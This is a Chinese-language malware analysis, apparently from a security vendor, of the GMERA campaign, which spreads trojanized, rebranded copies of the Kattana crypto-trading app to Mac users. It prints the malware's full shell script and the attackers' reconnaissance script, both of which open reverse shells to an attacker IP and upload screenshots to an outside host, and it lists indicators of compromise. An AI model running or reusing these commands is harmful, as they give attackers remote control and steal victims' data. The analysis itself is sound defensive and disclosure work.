Mac 加密货币交易应用程序重命名,捆绑恶意软件
研究人员发现了针对Mac的恶意加密货币交易应用程序的网站。该恶意软件用于窃取信息,例如浏览器Cookie,加密货币钱包和屏幕截图。通过分析恶意软件样本,我们很快发现这是趋势科技研究人员称为GMERA的一项新活动,他们发表了一份分析报告与之前的活动一样,该恶意软件会通过HTTP向C&C服务器报告,并使用硬编码IP地址将远程终端会话连接到另一台C&C服务器。但是,这一次,恶意软件作者不仅包装了原始的合法应用程序以包含恶意软件;他们还用新名称将Kattana交易应用程序重新命名,并复制了其原始网站。我们已经在不同的广告系列中使用了以下虚构品牌:Cointrazer,Cupatrade,Licatrade和Trezarus。除了分析恶意软件代码外,研究人员还建立了蜜罐,以试图揭示这一犯罪分子背后的动机。
分布
我们尚未能够准确找到这些木马化应用程序的推广位置。但是,在2020年3月,Kattana发布了警告,建议与受害者单独接触以诱使他们下载木马程序。
图1.Kattana警告Twitter上他们软件的木马副本
已建立模仿网站,以使虚假的应用程序下载看起来合法。对于不认识Kattana的人来说,这些网站确实合法。
图2. Kattana原始(合法)网站
图3.带有下载链接到恶意软件的恶意Licatrade网站
虚假站点上的下载按钮是指向包含木马化应用程序捆绑包的ZIP存档的链接。
分析
在这种情况下,恶意软件分析非常简单。我们将以Licatrade示例为例。其他示例具有微小差异,但思想和功能基本相同。趋势科技的博客文章和Objective-See的Mac恶意软件2019年报告提供了对早期GMERA活动的类似分析。
图4. Licatrade应用程序捆绑包的内容
ZIP归档文件中文件的修改时间戳、应用程序签名的日期以及下载归档文件时的Last-Modified HTTP标头均显示2020年4月15日。这强烈表明该活动于该日期开始。
应用程序包的资源中包含一个shell脚本(run.sh)。这个用SWIFT编写的主要可执行文件启动run.sh。由于某种原因,恶意软件作者具有重复的功能,可以通过HTTP向C&C服务器发送简单的报告,并通过TCP连接到远程主机,从而在主要可执行文件和Shell脚本中为攻击者提供远程shell。仅在shell脚本中,其他功能是通过安装启动代理来设置持久性。
这是完整的shell脚本源代码:
#! /bin/bash
function remove_spec_char(){
echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}
whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`
plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`
有趣的是,Licatrade示例中的持久性已被打破:生成的Launch Agent文件(.com.apple.system.plist)的内容不是Launch所期望的“属性列表”格式,而是要执行的命令行。
$ plist_text变量的解码内容为:
echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'
如果直接运行,此代码将打开一个从受害机器到攻击者控制的服务器的反向shell,但在这里失败。幸运的是,对于攻击者而言,shell脚本的最后一行还启动了到其服务器的反向Shell。
在Licatrade之前的市场活动中使用的Cointrazer示例不受此问题的影响:启动代理已安装并在用户登录时成功启动。
这些恶意软件操作员使用的各种反向shell根据启动方式连接到不同的远程端口。所有连接均未加密。这是基于Licatrade示例的端口列表。
TCP端口 | 哪里 | 怎么样 |
---|---|---|
25733 | Licatrade可执行文件 | 在屏幕中使用ztcp的zsh |
25733 | 运行 | 使用/ dev / tcp 在屏幕上显示bash |
25733 | 启动代理(不工作) | 使用/ dev / tcp 在屏幕上显示bash |
25734 | Licatrade可执行文件 | 使用ztcp的zsh |
25735 | Licatrade可执行文件 | bash 使用/ dev / tcp |
25736 | Licatrade可执行文件 | 使用/ dev / tcp 在屏幕上显示bash |
25737 | Licatrade可执行文件 | 使用/ dev / tcp 在屏幕上显示bash |
25738 | Licatrade可执行文件 | 在屏幕中使用ztcp的zsh |
以下是一些使用的示例命令行:
使用/dev/tcp在屏幕中进行绑定:
screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’
使用ztcp的zsh:
zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’
重命名的Kattana应用程序也位于应用程序包的资源中。我们想看看,除了更改应用程序中的名称和图标外,是否还要更改其他一些代码。由于Kattana要求交易平台进行交易的凭证,因此我们验证了这些凭证的输入字段是否被篡改以及凭证是否以某种方式被泄露。Kattana是使用Electron构建的,Electron应用程序具有一个app.asar文件,该文件是一个包含应用程序JavaScript代码的存档。我们检查了原始Kattana应用程序和恶意Licatrade复制程序之间的所有更改,发现只更改了字符串和图像。
图5. Kattana和Licatrade之间的部分差异
Licatrade及其资源都使用相同的证书签名,通用名称字段设置为Andrey Novoselov,并使用开发人员ID M8WVDT659T。该证书由Apple于2020年4月6日颁发。在我们将此内容通知给Apple的同一天,该证书已被撤销。
图6.用于签署Licatrade的证书
图7. 2020年5月28日,Licatrade证书被吊销
对于我们分析的其他每个广告系列,都使用了不同的证书。当我们开始分析时,两者都已被Apple撤销。有关这些的详细信息,请参见IoC部分。有趣的是,就Cointrazer而言,从苹果颁发证书到签署木马化申请的恶意分子之间只有15分钟的时间。这以及我们没有找到其他使用相同密钥签名的事实,表明他们为此目的明确获得了证书。
基础设施
可在licatrade.com网站上找到恶意的Licatrade应用程序,其C&C HTTP报告服务器域为stepbystepby.com。这两个域都是使用levistor777@gmail.com电子邮件地址注册的。搜索使用该电子邮件地址注册的其他域,可以发现以前的几个广告系列。这是我们在示例中找到的域或使用该电子邮件地址注册的域的列表。
域名 | 注册日期 | 评论 |
---|---|---|
repbaerray.pw | 2019-02-25 | 用于Stockfolio应用程序HTTP报告的C&C服务器 |
macstockfolio.com | 2019-03-03 | 网站分发了恶意的Stockfolio应用程序 |
latinumtrade.com | 2019-07-25 | 网站发布了恶意的Latinum应用 |
trezarus.com | 2019-06-03 | 网站发布了恶意的Trezarus应用 |
trezarus.net | 2019-08-07 | |
cointrazer.com | 2019-08-18 | 网站发布了恶意的Cointrazer应用 |
apperdenta.com | 2019-08-18 | 用法未知 |
narudina.com | 2019-09-23 | 用法未知 |
nagsrsdfsudinasa.com | 2019-10-09 | 用于Cointrazer应用的HTTP报告的C&C服务器 |
cupatrade.com | 2020-03-28 | 网站发布了恶意的Cupatrade应用 |
stepbystepby.com | 2020-04-07 | 用于Licatrade应用程序HTTP报告的C&C服务器 |
licatrade.com | 2020-04-13 | 网站发布了恶意的Licatrade应用 |
creditfinelor.com | 2020-05-29 | 空白页,用法未知 |
maccatreck.com | 202 |
接收到该恶意软件的第一份报告的网站和HTTP C&C服务器都托管在Cloudflare之后。
蜜罐互动
为了更多地了解该组织的意图,我们设置了“蜜罐”,监视GMERA反向shell后门与该恶意软件操作员之间的所有交互。
我们没有看到通过HTTP C&C服务器通道发出的C&C命令。一切都是通过反向shell发生的。首次连接时,C&C服务器发送了一个小脚本来收集受感染设备的用户名,macOS版本和位置(基于外部IP地址)。
#! /bin/bash
function check() {
if [ ! -f /private/var/tmp/.i ]; then
write
else
if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
write
fi
fi
}
function write() {
getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
echo `whoami` > /private/var/tmp/.i
echo `sw_vers -productVersion` >> /private/var/tmp/.i
echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i
向运营商发送了类似的内容:
jeremy
10.13.4
Bratislava
SK
TCP连接保持打开状态,并等待其他命令。在我们的情况下,一段时间后,操作员手动检查了机器。在我们的几个蜜罐中,用于执行该检查的命令各不相同。其中一部分只是列出整个文件系统中的文件。有时,他们会复制并粘贴一个Base64编码的脚本,该脚本旨在列出信息,以揭示系统是一个蜜罐还是实际上很有趣。脚本被解码,然后通过管道传输到bash。
图8.发送base64编码的辅助侦察脚本的操作员的数据包捕获
这是解码的脚本:
echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io
这个脚本实际上与去年分析的一个 Stockfolio样本中找到的插件文件非常相似。然而,在最近的活动中,他们选择只将侦察脚本通过网络发送给感兴趣的受害者。它还进行了更新,包括了一些额外的信息。
图9.在操作员终端上可以看到的报告输出(从数据包捕获中重建)
我们将在这里遍历脚本的每个部分:
- 它从ipinfo.io获取有关外部IP的完整报告。
- 它使用Mac序列号的后4位和Apple提供的HTTP服务将其转换为友好名称,例如“ MacBook Pro(Retina, 15-inch, Late 2013)”,以检查Mac型号。虚拟机可能具有无效的序列号,并且可能不会在此处显示模型。
- 它输出已安装的macOS的版本。有一个相当大的红色(使用ANSI转义序列),当计算机运行macOS Catalina(10.15)时,所有大写警告。我们认为我们了解原因,以后再讨论。
- 它使用/var/db/.AppleSetupDone的修改时间检查何时安装了macOS 。
- 它输出磁盘使用情况和连接的显示器的详细信息。
- 它列出了可用的Wi-Fi网络。蜜罐可能禁用了Wi-Fi。
- 它通过查看连接设备的供应商字符串来检测计算机是VMware,Parallels还是VirtualBox虚拟机。
- 它检查是否安装了通用文本编辑器或IDE应用程序,并警告操作员“Be Carefull”,因为该受害者可能比平时更精通计算机。
- 它从bash历史记录文件中获取第一个(即最旧的)20个命令。
- 最后,它会截取屏幕截图,调整其大小并将其上传到file.io。这样做之前,它会检查系统是否正在运行macOS Catalina,但是脚本中的错误使此检查毫无用处。使用并行启动命令的“&”控制运算符代替逻辑AND(“ &&”)运算符。这意味着无论macOS版本是什么,都将截取屏幕截图。
我们不应该在Catalina上截图,而在操作员终端上会显示明显的警告标志,这让我们感到奇怪,为什么它们在当前macOS版本上的行为有所不同。事实证明,Catalina添加了一项功能,其中记录屏幕或拍摄屏幕截图必须由用户针对每个应用程序批准。我们测试了从Catalina上反向外壳的屏幕截图,并在沙盒中显示以下警告,考虑到交易应用程序没有这样做,这是相当可疑的。
图10.操作员尝试截图时,macOS Catalina警告
如果认为受到破坏的系统很有趣,那么渗透阶段就开始了。有趣的文件被压缩到ZIP存档中,并通过HTTP上传到另一个服务器,同样在攻击者的控制下。
图11.使用反向shell捕获浏览器cookie的操作员数据包捕获
有趣的是/tmp/h.zip文件不存在。也许他们复制并粘贴了用于其他受害者的某些命令。
根据我们目睹的活动,我们得出结论,该恶意软件操作员的某些利益是:
- 浏览器信息(cookie,历史记录)
- 加密货币钱包
- 屏幕截图
结论
该组织开展的众多活动表明,在过去的一年里,他们花费了多少精力来损害进行在线交易的Mac用户的安全。我们仍然不确定某人是如何成为受害者的,下载其中一个木马应用程序,但运营商直接联系目标并通过社交工程让他们安装恶意应用程序的假设似乎是最可信的。
有趣的是,注意到恶意软件操作在最新版本的MacOS上是如何受到更多限制的。我们没有看到运营商试图绕过屏幕捕获的限制。此外,我们认为,他们可以在运行Catalina的受害者机器上看到计算机屏幕的唯一方法是窃听受害者所捕获的现有屏幕截图。这是在操作系统中实施缓解措施的一个很好的真实示例,该措施已用于限制恶意分子的活动。
